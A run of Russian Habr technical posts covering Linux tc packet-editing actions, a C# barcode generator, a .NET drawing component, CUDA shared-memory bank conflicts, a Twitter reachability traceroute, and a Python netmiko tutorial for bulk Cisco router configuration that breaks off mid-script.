Действия могут применяться как по одиночке, так и совместно, образуя цепочки. Всё это похоже на конвейерную обработку данных в консоли, когда вывод одной программы подаётся на ввод другой. С действиями точно так же. Например, попробуем изменить какое-нибудь поле в заголовке пакета. После этого нам необходимо будет пересчитать и обновить контрольную сумму. Для этого действия pedit и csum будут объединены в цепочку. Для наглядности, отзеркалируем результирующие пакеты на интерфейс ifb0 и посмотрим их tcpdump-ом.
```
tc filter add \
dev eth0 \
parent 1: \
pref 10 \
protocol ip \
handle ::1 \
u32 \
match ip protocol 6 0xff \
match ip src 10.10.20.119/32 \
match ip dst 10.10.20.254/32 \
match u16 10500 0xffff at 22 \
action pedit \
munge offset 22 u16 set 11500 \
pipe \
action csum \
tcp \
pipe \
action mirred \
egress mirror dev ifb0
```
Команда выглядит довольно устрашающе. Начало нам знакомо — добавляем фильтр для того, чтобы отобрать нужные нам пакеты по адресам источника и назначения, протоколу и номеру порта (protocol tcp, ip src 10.10.20.119, ip dst 10.10.20.254, tcp dport 10500). Но вместо классифицирования мы меняем содержимое пакета (параметр «action pedit») — одинарное слово по смещению 22 байта от начала ip-пакета. Если поглядеть на формат заголовков, то это поле соответствует номеру порта получателя в tcp. Мы перезаписываем его, устанавливая равным 11500 («munge offset 22 u16 set 11500»). Но после того, как мы поменяли поле, контрольная сумма заголовка изменится. Чтобы её пересчитать, пакеты перенаправляются действию csum с помощью параметра «pipe». Csum пересчитывает контрольную сумму заголовка tcp и направляет пакеты действию «mirred» так же с помощью параметра «pipe». В результате работы действия «mirred» на интерфейс ifb0 приходят копии пакетов, которые были отправлены.
Проверим, как всё работает с помощью анализа статистики, а так же запустив tcpdump на интерфейсе ifb0:
```
#выводим статистику работы фильтров и действий
~$ tc -s -p f ls dev eth0
filter parent 1: protocol ip pref 10 u32
filter parent 1: protocol ip pref 10 u32 fh 800: ht divisor 1
filter parent 1: protocol ip pref 10 u32 fh 800::1 order 1 key ht 800 bkt 0
terminal flowid ??? (rule hit 102554 success 0)
match IP protocol 6 (success 102517 )
match IP src 10.10.20.119/32 (success 0 )
match IP dst 10.10.20.254/32 (success 0 )
match dport 10500 (success 0 )
action order 1: pedit action pipe keys 1
index 66 ref 1 bind 1 installed 132 sec used 132 sec
key #0 at 20: val 00002cec mask ffff0000
Action statistics:
Sent 0 bytes 0 pkt (dropped 0, overlimits 0 requeues 0)
backlog 0b 0p requeues 0
action order 2: csum (tсp) action pipe
index 29 ref 1 bind 1 installed 132 sec used 132 sec
Action statistics:
Sent 0 bytes 0 pkt (dropped 0, overlimits 0 requeues 0)
backlog 0b 0p requeues 0
action order 3: mirred (Egress Mirror to device ifb0) pipe
index 79 ref 1 bind 1 installed 132 sec used 132 sec
Action statistics:
Sent 0 bytes 0 pkt (dropped 0, overlimits 0 requeues 0)
backlog 0b 0p requeues 0
#отсылаем пакеты tcp на 10.10.20.254:10500
~$ telnet 10.10.20.254 10500
#параллельно в другой консоли смотрим, что у нас
#сыпется на интерфейс ifb0
~$ tcpdump -nvvi ifb0
tcpdump: WARNING: ifb0: no IPv4 address assigned
tcpdump: listening on ifb0, link-type EN10MB (Ethernet),
capture size 65535 bytes
...
00:46:11.080234
IP (tos 0x10, ttl 64, id 46378, offset 0,
flags [DF], proto TCP (6), length 60)
10.10.20.119.36342 > 10.10.20.254.11500:
Flags [S], cksum 0x2001 (correct),
seq 1542179969, win 14600, options
[mss 1460,sackOK,TS val 1417050539 ecr 0,nop,wscale 4],
length 0
...
#ещё раз смотрим статистику
~$ tc -s -p f ls dev eth0
filter parent 1: protocol ip pref 10 u32
filter parent 1: protocol ip pref 10 u32 fh 800: ht divisor 1
filter parent 1: protocol ip pref 10 u32 fh 800::1 order 1 key ht 800 bkt 0
terminal flowid ??? (rule hit 580151 success 12)
match IP protocol 6 (success 579716 )
match IP src 10.10.20.119/32 (success 12 )
match IP dst 10.10.20.254/32 (success 12 )
match dport 10500 (success 12 )
action order 1: pedit action pipe keys 1
index 66 ref 1 bind 1 installed 747 sec used 454 sec
key #0 at 20: val 00002cec mask ffff0000
Action statistics:
Sent 888 bytes 12 pkt (dropped 0, overlimits 0 requeues 0)
backlog 0b 0p requeues 0
action order 2: csum (tdp) action pipe
index 29 ref 1 bind 1 installed 747 sec used 454 sec
Action statistics:
Sent 888 bytes 12 pkt (dropped 0, overlimits 0 requeues 0)
backlog 0b 0p requeues 0
action order 3: mirred (Egress Mirror to device ifb0) pipe
index 79 ref 1 bind 1 installed 747 sec used 454 sec
Action statistics:
Sent 888 bytes 12 pkt (dropped 0, overlimits 0 requeues 0)
backlog 0b 0p requeues 0
```
Вот в принципе и всё, что я хотел рассказать по поводу применения действий.
##### Полезные ссылки
[LARTC](http://www.opennet.ru/docs/RUS/LARTC/) — Linux Advanced Routing and Traffic Control.
[Пример](http://www.linuxfoundation.org/collaborate/workgroups/networking/ifb) использования ifb и действия mirred. | https://habr.com/ru/post/138562/ | null | ru | null |
# Штриховое кодирование: программная реализация на С#
Приветствую! Речь пойдет о создании программы, которая сможет кодировать информацию в штрих код. Рассмотрим мы два варианта: EAN13 и Code 128.
Для начала разберемся что же предоставляет собой штрих код, и начнем с формата EAN 13. Внешне штрих код состоит из черных и белых полос. Каждая из полос согласно стандарту имеет ширину 0,33мм. А теперь посмотрим немного глубже. Согласно стандарту, информация в штрих коде алгоритмом конвертируется в последовательность нулей и единиц. Черная полоса соответствует «1» а белая соответственно «0». Таким образом мы получаем штрих код. То, что описано выше, справедливо для обоих форматов, а теперь перейдем к специфике форматов. EAN 13 код фактически может иметь 12 символов информации (обычно она разделяется на код страны, код завода, и.т.д., но никто вам не мешает создать штрих код с любыми цифрами). 13 цифра в штрих коде ( а он EAN 13 имеет их именно 13) является контрольной суммой. Она используется для проверки правильности декодирования, а также в зависимости то нее выбирается соответствующая таблица кодирования. Вот и все по формату EAN 13. Детальная информация об алгоритме кодирования и о расчете контрольной цифры есть тут:
Итак, что нам нужно сделать для программной генерации штрих кода (причем обоих форматов):
1. Настроить графический интерфейс так, чтоб 1 юниту соответствовало 0.33 мм
2. Конвертировать код в двоичную последовательность (из «0» и «1»)
3. Отобразить последовательность таким образом что каждая единица- прямоугольник с шириной 0,33 мм. Замечу, что можно изменять величину штриха, но по стандарту сказано 0,33мм.
Создавая программу, я сделал так:
Создал форму, на которой есть поля для выбора формата, ввода кода, регулятор ширины штриха ну и кнопка генерации кода и сохранение изображения в буфер обмена. Получилось так: 
Проверял я с помощью Abbyy FineReader 10 Professional:
Каждый из форматов штрих кода я оформил в виде отдельного класа, который из кода образует двоичную последовательность. Кстати, формат EAN 13 мне показался немного тяжелее в реализации в силу того, что там в зависимости от кода меняется таблица. в результате чего сам код рисовался так:
```
Bitmap bmp;
private void button1_Click(object sender, EventArgs e)
{
Graphics g = panel1.CreateGraphics();
g.PageUnit = GraphicsUnit.Millimeter;
if (comboBox1.Text == "EAN 13")
{
g.PageScale = scale;
//g.DrawRectangle(new Pen(new SolidBrush(Color.Black)), 1, 1, 501, 1010);
EAN13 ean = new EAN13(textBox1.Text);
int cnt = ean.output.Length;
panel1.Width = cnt ;
float x = g.DpiX;
int s1 =Convert.ToInt32( cnt * scale)+1;
int s2 = Convert.ToInt32(s1 / 25.4);
int res =(int) x * s2;
panel1.Width = res;
Draw(ref g, ean.output);
}
if (comboBox1.Text == "Code 128")
{
g.PageScale = scale;
Code128B code = new Code128B(textBox1.Text);
int cnt = code.output.Length;
float x = g.DpiX;
int s1 =Convert.ToInt32( cnt * scale)+1;
int s2 = Convert.ToInt32(s1 / 25.4);
int res =(int) x * s2;
panel1.Width = res;
Draw(ref g, code.output);
bmp=new Bitmap(panel1.Width,panel1.Height);
Graphics h=Graphics.FromImage(bmp);
Draw(ref h, code.output);
}
}
```
тут scale типа float — ширина полосы, задается из формы посредством DataBinding.
Еще немного расскажу о коде Code128. Тут кодирование просто по таблице, но структура имеет зону начала, конца, перемещения. Под перемещением имею ввиду переход от отдной кодовой таблице к другой (см. Code128A, Code 128B, Code 128C)
Данный код в отличие от предыдущего, имеет произвольную длину и может состоять из всех ASCII от 1 до 128. Об алгоритме есть достаточно много инфы, я брал отсюда: [Источник](http://www.barcodeman.com/info/c128.php3)
( [www.barcodeman.com/info/c128.php3](http://www.barcodeman.com/info/c128.php3) ).
Ну вот и все, основное сказал. Напоследок приложу свой код, который я написал для конвертации информации в двоичное представление кода. Код, возможно не совсем корректно работает, возможно не оптимально работает. Я не даю никакой гарантии.
Код тут: [pastebin.com/xsGVe9tG](http://pastebin.com/xsGVe9tG) | https://habr.com/ru/post/127799/ | null | ru | null |
# Компонент AGE, Another Graphic Engine in .NET
Итак сразу к делу. Компонент можно достать [здесь](http://www.codeproject.com/KB/dotnet/another_graphic_engine.aspx?fid=356826&df=90&mpp=25&noise=3&sort=Position&view=Quick&select=1891853) и там же есть описание его.
Компонент неплох. Хорошо рисует, можно понастраивать Canvas на котором все это дело рисуется. Красиво рисует, что тоже плюс.
Для того что бы вам с ним начать работать нужно добавить компонент входящий в сборку NeoDataType.Graphics. После чего кидаете на форму компонент отрисовки элементов (Canvas). Компонент умеет рисовать объекты наследующиеся от NeoDataType.Graphic.GraphicItem. У этого типа есть ссылка на объект типа NeoDataType.Graphic.Painter, именно в этом классе вы и реализуете отрисовку объекта.
У NeoDataType.Graphic.Painter есть ссылка на NeoDataType.Graphic.GraphicItem.
Т.е. после того как вы создали свой объект и свой пейнтер получится следующее:
Я думаю понятно что получилось. Реализация вот:
> `public class TestPainter : NeoDataType.Graphic.Painter
>
> {
>
> protected override void Paint(System.Drawing.Graphics g)
>
> {
>
> TestPObject item = (TestPObject) Item;
>
> g.DrawLine(item.Pen, item.Bounds.Left, item.Bounds.Top, item.Bounds.Right, item.Bounds.Bottom);
>
> }
>
> }
>
>
>
> public class TestPObject : NeoDataType.Graphic.GraphicItem
>
> {
>
> public Pen Pen{ get; set;}
>
> public TestPObject()
>
> {
>
> Painter = new TestPainter();
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Для того что бы компонент начал отрисовывать ваши элементы следует добавить экземпляры типа NeoDataType.Graphic.GraphicItem к коллекции эелементов содержащихся в компоненте. Для этого нам у Canvas надо обратится к GraphicDocument в котором содержится коллекция наших объектов. Код примерно следующй:
> `cnvMain.Document = new GraphicDocument();
>
> cnvMain.Document.AddItem(new TestPObject(){Pen = Pens.Black});
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Далее начнется отрисовка вашего элемента на Canvas.
Этот компонент я использовал в своем дипломе для отрисовки печатных плат. Все было здорово.
Самое главное достоинство этого компонента в том что у него есть скриптовый препроцессор, который позволяет рисовать элементы скриптами. Формат скрипта можно посмотреть на странице этого контрола. Что бы начать использование скрипта следут использовать элемент типа ScriptedItem.
Будут вопросы обращайтесь. | https://habr.com/ru/post/61930/ | null | ru | null |
# Понимание конфликтов банков разделяемой (shared) памяти в NVIDIA CUDA
Разделяемая (shared) память является очень эффективным средством оптимизации за счет очень быстрого доступа (в 100 раз быстрее чем глобальная память). Однако, при неправильном использовании ее возможны конфликты банков, которые существенно замедляют быстродействие. В данной статье пойдет речь о том, как эти конфликты возникают, и как их избежать.
#### Как возникают конфликты разделяемой памяти
Конфликты возникают, когда 2 или более потоков из одного варпа (warp) (для устройств версии 2.0) или половины варпа (для устройстве версии 1.3 и ниже) осуществляют доступ к байтам, которые принадлежат разным 32 битным словам, находящимся в одном банке памяти. В случае конфликта доступ осуществляется последовательно. Количество потоков, обращающихся к банку, называется степенью конфликта. Если степень конфликта N, то доступ осуществляется в N раз медленнее, чем если бы конфликта не было.
##### Механизм широковещательного доступа
На устройствах версии 1.x конфликта можно избежать, если несколько потоков осуществляют доступ к одному и тому же слову, принадлежащему одному и тому же банку, и только если этот запрос одиночный — в данном случае задействуется механизм широковещательного доступа.
На устройствах версии 2.x таких запросов может быть несколько и осуществятся они будут параллельно (разные потоки могут осуществлять доступ к разным байтам слова).
##### Особенности доступа на устройствах версии 2.0
При 64 битном доступе конфликт банков возникает только если 2 или более потоков из любой из половин варпа осуществляют доступ по адресам, принадлежащим одному и тому же банку.
При 128 битном доступе как правило возникают конфликты банков второй степени.
Доступ разрядностью больше, чем 32 разбивается на запросы разрядностью 32, 64 и 128 бит.
##### Как память распределяется по банкам
Память распределяется по банкам таким образом, что каждое 32 битное слово в последовательности, последовательно назначается одному из 32 банков случае устройства версии 2.0 и 16 банков в случае устройства версии 1.3 и ниже. Соответственно номер банка можно рассчитать по следующей формуле:
Номер банка = (Адрес в байтах/4)%32 — для устройства версии 2.0
Номер банка = (Адрес в байтах/4)%16 — для устройства версии 1.x
#### Примеры доступа к памяти, вызывающие конфликты
Для устройств версии 1.x
1. 8 и 16 битный доступ
`__shared__ char shmem8[32];
char data = shmem8[threadIdx.x];`
В данном примере первые 4 байта находятся в одном банке, поэтому первые 4 потока будут конфликтовать при доступе
Проблема решается добавлением избыточных данных (padding) и изменение схемы доступа:
`__shared__ char shmem8[32*4];
char data = shmem8[threadIdx.x*4];`
Для 16-битного доступа:
`__shared__ short shmem16[32];
short data = shmem16[threadIdx.x];`
В данном примере первые 2 шорта находятся в одном банке, поэтому первые 2 потока будут конфликтовать при доступе
Проблема решается аналогично 8-битному доступу:
`__shared__ short shmem16[32*2];
short data = shmem16[threadIdx.x*2];`
2. 32-х битный доступ
Для данного типа доступа конфликты банков менее очевидны, но могут возникнуть при, например, такой схеме доступа:
`__shared__ int shmem32[64];
int data1 = shmem32[threadIdx.x*2];
int data2 = shmem32[threadIdx.x*2+1];`
В этом случае 0-й и 8-й поток читают из 0 и 1 банков соответственно, создавая таким образом конфликт 2-й степени.
Решить эту проблему можно к примеру так:
`__shared__ int shmem32_1[32];
__shared__ int shmem32_2[32];
int data1 = shmem32_1[threadIdx.x];
int data2 = shmem32_2[threadIdx.x];`
Для устройств версии 2.0
Из-за особенностей широковещательного доступа, 8 и 16 битные схемы доступа на данных устройствах не вызывают конфликтов банков, однако, конфликт может возникнуть в следующем случае:
`__shared__ int shared[64];
int data = shared[threadIdx.x*s];`
Конфликт возникает, если **s** — четная. Если **s** — нечетная, но конфликтов не возникает.
#### Отслеживание конфликтов банков
##### NVIDIA Banck Checker
Конфликты можно отследить, если воспользоваться макросом CUT\_BANK\_CHECKER( array, index), входящим в состав CUDA Utility Toolkit. Для этого необходимо пользоваться этим макросом для доступа к памяти и выполнять приложение в режиме эмуляции. При завершении приложения, будет напечатан отчет о конфликтах.
Например вот так:
`__shared__ int shared[64];
int data = CUT_BANK_CHECKER(shared, threadIdx.x*s);`
##### CUDA Profiler
Также, для отслеживания конфликтов можно пользоваться профайлером. Данная информация отображается в разделе **warp serialize**. Данный счетчик показывает количество варпов, которым необходимо сериализовывать свой доступ при адресации константной или разделяемой памяти, другими словами, этот счетчик показывает конфликты банков.
#### Заключение
В заключение отмечу, что наиболее эффективная методика устранения конфликтов банков — это разработка схем доступа, которая минимизирует их возникновение и последующий анализ приложения профайлером (что никогда не лишнее). | https://habr.com/ru/post/100363/ | null | ru | null |
# Twitter забанил часть украинских IP?
Несколько дней назад я заметил, что твиттер перестал открываться. Пропинговав, я увидел, что пинги не доходят, но списал это на проблемы сервиса. Когда на следующее утро ситуация не изменилась, я заподозрил неладное и пошёл на неофициальный форум пользователей ОГО!(услуга интернета от Укртелекома, крупнейшего провайдера Украины).
Там нашёлся [топик](http://ogo.in.ua/forums/topic/8952-dva-dnja-ne-otkrivaetsja-twitter-gorlovka/), в котором были другие такие же страждущие. Собственно, у всех нас трейсроут до твиттера заканчивается на неких вашингтонских хостах Level3.net. Вот мой traceroute(я его оборвал на 23 хопе, в теме по ссылке есть и 30-хоповые логи):
`traceroute to twitter.com (199.59.148.82), 30 hops max, 52 byte packets
1 router (192.168.1.1) 1.046 ms 0.832 ms 0.876 ms
2 195.5.5.186 (195.5.5.186) 76.183 ms 30.047 ms 28.070 ms
3 10.50.19.2 (10.50.19.2) 37.131 ms 78.113 ms 10.50.19.70 (10.50.19.70) 77.292 ms
4 xe-11-0-0.bar1.Budapest1.Level3.net (212.162.26.1) 59.013 ms dialup-212.162.26.9.frankfurt1.mik.net (212.162.26.9) 205.815 ms xe (212.162.26.1) 56.452 ms
5 ae-12-12.ebr1.Frankfurt1.Level3.net (4.69.141.250) 72.727 ms 72.868 ms 70.068 ms
6 ae-48-48.ebr2.Paris1.Level3.net (4.69.143.146) 84.221 ms ae-47-47.ebr2.Paris1.Level3.net (4.69.143.142) 83.589 ms 80.193 ms
7 ae-44-44.ebr2.Washington1.Level3.net (4.69.137.62) 168.423 ms ae-42-42.ebr2.Washington1.Level3.net (4.69.137.54) 162.815 ms ae-43-43.ebr2.Washington1.Level3.net (4.69.137.58) 164.091 ms
8 ae-82-82.csw3.Washington1.Level3.net (4.69.134.154) 163.699 ms 164.400 ms ae-62-62.csw1.Washington1.Level3.net (4.69.134.146) 160.322 ms
9 ae-1-60.edge2.Washington4.Level3.net (4.69.149.16) 161.873 ms ae-4-90.edge2.Washington4.Level3.net (4.69.149.208) 159.845 ms ae-3-80.edge2.Washington4.Level3.net (4.69.149.144) 164.443 ms
10 * * *
11 * * *
12 * * *
13 * * *
14 * * *
15 * * *
16 * * *
17 * * *
18 * * *
19 * * *
20 * * *
21 * * *
22 * * *
23 * *^C`
Судя по всему, некая группа восточноукраинских IP просто была забанена самим Твиттером.
Не работает ни один из сайтов твиттера, другими словами, я не знаю, как мне связаться с техподдержкой. Этим постом прошу хабровчан привлечь внимание к данной проблеме и помочь решить её. | https://habr.com/ru/post/128802/ | null | ru | null |
# Python для сетевых инженеров: начало пути
Наверное, многие сетевые инженеры уже поняли, что администрирование сетевого оборудования только через CLI слишком трудоёмко и непродуктивно. Особенно когда под управлением находятся десятки или сотни устройств, часто настроенных по единому шаблону. Удалить локального пользователя со всех устройств, проверить конфигурации всех маршрутизаторов на соответствие каким-то правилам, посчитать количество включенных портов на всех коммутаторах — вот примеры типовых задач, решать которые без автоматизации нецелесообразно.
Эта статья в основном для сетевых инженеров, которые пока не знакомы или очень слабо знакомы с Python. Мы рассмотрим пример скрипта для решения некоторых практических задач, который вы сразу сможете применять в своей работе.
Для начала расскажу, почему я выбрал Python.
Во-первых, это легкий в освоении язык программирования, который позволяет решать очень широкий круг задач.
Во-вторых, крупные производители сетевого оборудования, такие как Cisco, Juniper, Huawei, внедряют поддержку Python на своем оборудовании. У языка есть будущее в сетевой сфере, и его изучение не будет пустой тратой времени.
В-третьих, язык очень распространен. Для него написано много полезных библиотек, есть большое сообщество программистов, и найти ответы на большинство вопросов в интернете можно в первых строках поисковой выдачи.
Я занимаюсь проектированием и немного внедрением сетевых проектов. В одном из них потребовалось решить сразу две задачи.
1. Пройтись по нескольким сотням филиальных маршрутизаторов и убедиться, что они настроены единообразно. Например, что для связи с ЦОД используется интерфейс Tunnel1, а не Tunnel0 или Tunnel99. И что эти интерфейсы настроены одинаково, за исключением их IP-адресов, естественно.
2. Перенастроить все маршрутизаторы, в том числе добавить статический маршрут через IP-адрес местного провайдера. То есть эта команда будет уникальной для каждого маршрутизатора.
На помощь пришел скрипт на Python. Его разработка и тестирование заняли один день.
Первое, что нужно сделать, это [установить Python](https://www.python.org/downloads/) и крайне желательно PyCharm CE. Скачиваем и устанавливаем Python 3 (сейчас последняя версия 3.6.2). При установке выбираем «Customize installation» и на этапе «Advanced Options» устанавливаем галку напротив «Add Python to environment variables».
PyCharm CE — это бесплатная среда разработки с очень удобным отладчиком. [Скачиваем](https://www.jetbrains.com/pycharm/download/) и устанавливаем.
Второй шаг — устанавливаем необходимую библиотеку netmiko. Она нужна для взаимодействия с устройствами по SSH или telnet. Библиотеку устанавливаем из командной строки:
`pip install netmiko`
Третьим шагом будет подготовка исходных данных и скрипта под наши задачи.
В качестве входных данных будем использовать текстовый файл “ip.txt”. В каждой строчке файла должен быть IP-адрес устройства, к которому мы подключаемся. Через запятую можно указать логин и пароль для конкретного устройства. Если этого не сделать, то будут использоваться те, которые вы введёте при запуске скрипта. Пробелы будут проигнорированы. Если первый символ в строке «#», то она считается комментарием и игнорируется. Вот пример корректного файла:
Сам скрипт логически состоит из двух частей: основной программы и функции `doRouter()`. Внутри неё выполняется подключение к маршрутизатору, отправка команд в CLI, получение и анализ ответов. Входными данными для функции являются: IP-адрес маршрутизатора, логин и пароль. При возникновении проблем функция вернёт IP-адрес маршрутизатора, мы его запишем в отдельный файл fail.txt. Если всё прошло хорошо, то будет просто выведено сообщение на экран.
Почему нужно выносить взаимодействие с маршрутизаторами в отдельную функцию, а не выполнить всё в цикле в основной программе? Главная причина — продолжительность работы скрипта. Подключение поочередно ко всем маршрутизаторам заняло у меня 4 часа. В основном из-за того, что какие-то из них не отвечали и скрипт долго ждал истечения таймаута. Поэтому запускать мы будем параллельно по 10 экземпляров функций. В моём случае это сократило время выполнения скрипта до 10 минут.
Рассмотрим теперь подробнее основную программу.
Ради безопасности не будем хранить логин и пароль в скрипте. Поэтому выведим на экран приглашение для их ввода. Причем при вводе пароля он не будет отображаться. Эти глобальные переменные используем в процедуре `doRouter`. У меня были проблемы с работой getpass в PyCharm под Windows. Скрипт работал корректно, только если выполнять его в режиме Debug, а не Run. В командной строке всё работало без нареканий. Также скрипт тестировался в OS X, там проблем в PyCharm замечено не было.
```
user_name = input("Enter Username: ")
pass_word = getpass()
```
Потом читаем файл с IP-адресами. Конструкция `try…except` позволит корректно обработать ошибку чтения файла. На выходе получим массив данных для подключения `connection_data`, содержащий IP-адрес, логин и пароль.
```
try:
f = open('ip.txt')
connection_data=[]
filelines = f.read().splitlines()
for line in filelines:
if line == "": continue
if line[0] == "#": continue
conn_data = line.split(',')
ipaddr=conn_data[0].strip()
username=global_username
password=global_password
if len(conn_data) > 1 and conn_data[1].strip() != "": username = conn_data[1].strip()
if len(conn_data) > 2 and conn_data[2].strip() != "": password = conn_data[2].strip()
connection_data.append((ipaddr, username, password))
f.close()
except:
sys.exit("Couldn't open or read file ip.txt")
```
Далее создаём список процессов и запускаем их. Метод создания процессов я задал как “spawn”, чтобы в Windows и OS X скрипт работал одинаково. Количество созданных процессов будет равно количеству IP-адресов. Но выполняться одновременно будут не более 10. В список `routers_with_issues` записываем то, что вернут функции `doRouter`. В нашем случае это IP-адреса маршрутизаторов, с которыми были проблемы.
```
multiprocessing.set_start_method("spawn")
with multiprocessing.Pool(maxtasksperchild=10) as process_pool:
routers_with_issues = process_pool.map(doRouter, connection_data, 1)
process_pool.close()
process_pool.join()
```
Команда `process_pool.join()` нужна для того, чтобы скрипт дождался завершения выполнения всех экземпляров функций `doRouter()` и только потом продолжил выполнять основную программу.
В конце создаем/переписываем текстовый файл, в котором у нас будут IP-адреса ненастроенных маршрутизаторов. Также выводим этот список на экран.
```
failed_file = open('fail.txt', 'w')
for item in routers_with_issues:
if item != None:
failed_file.write("%s\n" % item)
print(item)
```
Теперь разберем процедуру `doRouter()`. Первое, что нужно сделать, — обработать входные данные. С помощью ReGex проверяем, что функции был передан корректный IP-адрес.
```
ip_check = re.findall("^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$", ip_address)
if ip_check == []:
print(bcolors.FAIL + "Invalid IP - " + str(ip_address) + bcolors.ENDC)
return ip_address
```
Далее создаём словарь с необходимыми для подключения данными и подключаемся к маршрутизатору.
```
device = {
'device_type': 'cisco_ios',
'ip': ip_address.strip(),
'username': username,
'password': password,
'port': 22, }
try:
config_ok = True
net_connect = ConnectHandler(**device)
```
Отправляем команды и анализируем полученный ответ от маршрутизатора. Он будет помещён в переменную `cli_response`. В этом примере мы проверяем текущие настройки. Результат выводим на экран. Данную часть нужно менять под разные задачи. В этом скрипте проверяем текущую конфигурацию маршрутизатора. Если она корректная, то вносим изменения. Если при проверке обнаружены проблемы, то присваиваем переменной `config_ok` значение `False` и не применяем изменения.
```
cli_response = net_connect.send_command("sh dmvpn | i Interface")
cli_response = cli_response.replace("Interface: ", "")
cli_response = cli_response.replace(", IPv4 NHRP Details", "").strip()
if cli_response != "Tunnel1":
print(str(ip_address)+" - " + bcolors.WARNING + "WARNING - DMVPN not on Tunnel1. " + cli_response+ " " + bcolors.ENDC)
config_ok=False
```
Тут будут полезны следующие операции работы со строками.
| Операция | Описание | Пример |
| --- | --- | --- |
| + | Объединение строк | s3 = s1 + s2
>>> print('Happy New ' + str(2017) + ' Year')
Happy New 2017 Year |
| len(s) | Определение длины строки | |
| [] | Выделение подстроки (индекс начинается с нуля) | s[5] — шестой символ
s[5:7] — символы с шестого по восьмой
s[-1] — последний символ, то же, что s[len(s)-1] |
| s.split()
s.join() | Разделить строки
Объединить строки | >>> 'Петя, Лёша, Коля'.split(',')
['Петя', 'Лёша', 'Коля']
>>> ','.join({'Петя', 'Лёша', 'Коля'})
'Лёша, Петя, Коля' |
| str(L)
list(s) | Преобразовать список в строку
Преобразовать строку в список | >>> str(['1', '2', '3'])
"['1', '2', '3']"
>>> list('Test')
['T', 'e', 's', 't'] |
| % | Форматирование по шаблону | >>> s1, s2 = 'Митя', 'Василиса'
>>> '%s + %s = любовь' % (s1, s2)
'Митя + Василиса = любовь' |
| f | Подстановка переменных | >>> a='Максим'
>>> f'Имя {a}'
'Имя Максим' |
| str.find(substr) | Поиск подстроки substr в строке str
Возвращает позицию первой найденной подстроки | >>> 'This is a text'.find('a')
8 |
| str.replace(old, new) | Замена подстроки old на подстроку new в строке str | >>> newstr = 'This is a text'.replace(' is ', ' is not ')
>>> print(newstr)
This is not a text |
| str.strip()
str.rstrip() | Удалить пробелы и табуляции в начале и конце (или только в конце) | >>> ' This is a text \t\t\t'.strip()
'This is a text' |
Чтобы решить задачу по добавлению статического маршрута, для начала нужно определить IP-адрес `next-hop`. В моем случае самый простой способ — посмотреть адрес `next-hop` у существующих статических маршрутов.
```
cli_response2=net_connect.send_command("sh run | i ip route 8.8.8.8 255.255.255.255")
if cli_response2.strip() == "":
print(str(ip_address)+" — " + bcolors.FAIL + "WARNING — couldn't find static route to 8.8.8.8" + bcolors.ENDC)
config_ok=False
ip_next_hop = ""
if cli_response2 != "":
ip_next_hop = cli_response2.split(" ")[4]
if ip_next_hop == "":
print(str(ip_address)+" — " + bcolors.FAIL + "WARNING — couldn't find next-hop IP address " + bcolors.ENDC)
config_ok=False
```
Можно отправлять одну или несколько конфигурационных команд сразу. У меня плохо работала отправка больше 5 команд одновременно, при необходимости можно просто повторить конструкцию несколько раз.
```
config_commands = ['ip route 1.1.1.1 255.255.255.255 '+ip_next_hop,
'ip route 2.2.2.2 255.255.255.255 '+ip_next_hop]
net_connect.send_config_set(config_commands)
```
**Полный скрипт.**
```
import sys
from netmiko import ConnectHandler
from getpass import getpass
import time
import multiprocessing
import re
start_time = time.time()
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def doRouter(connection_data):
ip_address = connection_data[0]
username = connection_data[1]
password = connection_data[2]
ip_check = re.findall("^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$", ip_address)
if ip_check == []:
print(bcolors.FAIL + "Invalid IP - " + str(ip_address) + bcolors.ENDC)
return ip_address
device = {
'device_type': 'cisco_ios',
'ip': ip_address.strip(),
'username': username,
'password': password,
'port': 22, }
try:
config_ok = True
net_connect = ConnectHandler(**device)
cli_response = net_connect.send_command("sh dmvpn | i Interface")
cli_response = cli_response.replace("Interface: ", "")
cli_response = cli_response.replace(", IPv4 NHRP Details", "").strip()
if cli_response != "Tunnel1":
print(str(ip_address)+" - " + bcolors.WARNING + "WARNING - DMVPN not on Tunnel1. " + cli_response+ " " + bcolors.ENDC)
config_ok=False
cli_response2=net_connect.send_command("sh run | i ip route 1.1.1.1 255.255.255.255")
if cli_response2.strip() == "":
print(str(ip_address)+" - " + bcolors.WARNING + "WARNING - couldn't find static route to 8.8.8.8" + bcolors.ENDC)
config_ok=False
ip_next_hop = ""
if cli_response2 != "":
ip_next_hop = cli_response2.split(" ")[4]
if ip_next_hop == "":
print(str(ip_address)+" - " + bcolors.WARNING + "WARNING - couldn't find next-hop IP address " + bcolors.ENDC)
config_ok=False
if config_ok:
config_commands = ['ip route 1.1.1.1 255.255.255.255 '+ip_next_hop,
'ip route 2.2.2.2 255.255.255.255 '+ip_next_hop]
net_connect.send_config_set(config_commands)
print(str(ip_address) + " - " + "Static routes added")
else:
print(str(ip_address) + " - " + bcolors.FAIL + "Routes weren't added because config is incorrect" + bcolors.ENDC)
return ip_address
if config_ok:
net_connect.send_command_expect('write memory')
print(str(ip_address) + " - " + "Config saved")
net_connect.disconnect()
except:
print(str(ip_address)+" - "+bcolors.FAIL+"Cannot connect to this device."+bcolors.ENDC)
return ip_address
print(str(ip_address) + " - " + bcolors.OKGREEN + "Router configured sucessfully" + bcolors.ENDC)
if __name__ == '__main__':
# Enter valid username and password. Note password is blanked out using the getpass library
global_username = input("Enter Username: ")
global_password = getpass()
try:
f = open('ip.txt')
connection_data=[]
filelines = f.read().splitlines()
for line in filelines:
if line == "": continue
if line[0] == "#": continue
conn_data = line.split(',')
ipaddr=conn_data[0].strip()
username=global_username
password=global_password
if len(conn_data) > 1 and conn_data[1].strip() != "": username = conn_data[1].strip()
if len(conn_data) > 2 and conn_data[2].strip() != "": password = conn_data[2].strip()
connection_data.append((ipaddr, username, password))
f.close()
except:
sys.exit("Couldn't open or read file ip.txt")
multiprocessing.set_start_method("spawn")
